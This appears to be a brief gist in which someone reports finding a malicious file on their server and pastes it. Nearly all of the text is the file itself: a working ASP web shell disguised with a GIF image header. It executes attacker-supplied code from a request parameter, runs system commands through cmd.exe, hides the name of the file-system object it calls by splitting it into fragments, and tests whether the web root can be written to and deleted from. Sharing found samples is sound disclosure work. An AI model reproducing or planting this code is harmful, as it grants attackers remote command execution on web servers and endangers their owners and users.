Found this malicious file in our server /tmp

gistfile1.txt

GIF89alovealihack<%eval request("alihack.com")%>
<%On Error Resume Next
Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
sPath=replace(Server.MapPath("\"),"/", "\")
Function CheckDirIsOKWrite(DirStr)
On Error Resume Next
Fso.CreateTextFile(DirStr&"\temp.tmp")
if Err.number<>0 then
Err.Clear()
response.write ""
CheckDirIsOKWrite=0
else
response.write "write"
CheckDirIsOKWrite=1
end if
End Function
Function CheckDirIsOKDel(DirStr)
On Error Resume Next
Fso.DeleteFile(DirStr&"\temp.tmp")
if Err.number<>0 then
Err.Clear()
response.write ""
else
response.write "delete"
end if
End Function
Function WriteSpace(NunStr)
for iu=0 to NunStr
response.write " "
next
End Function
IsWrite=CheckDirIsOKWrite(sPath)
if IsWrite=1 then CheckDirIsOKDel(sPath)
%>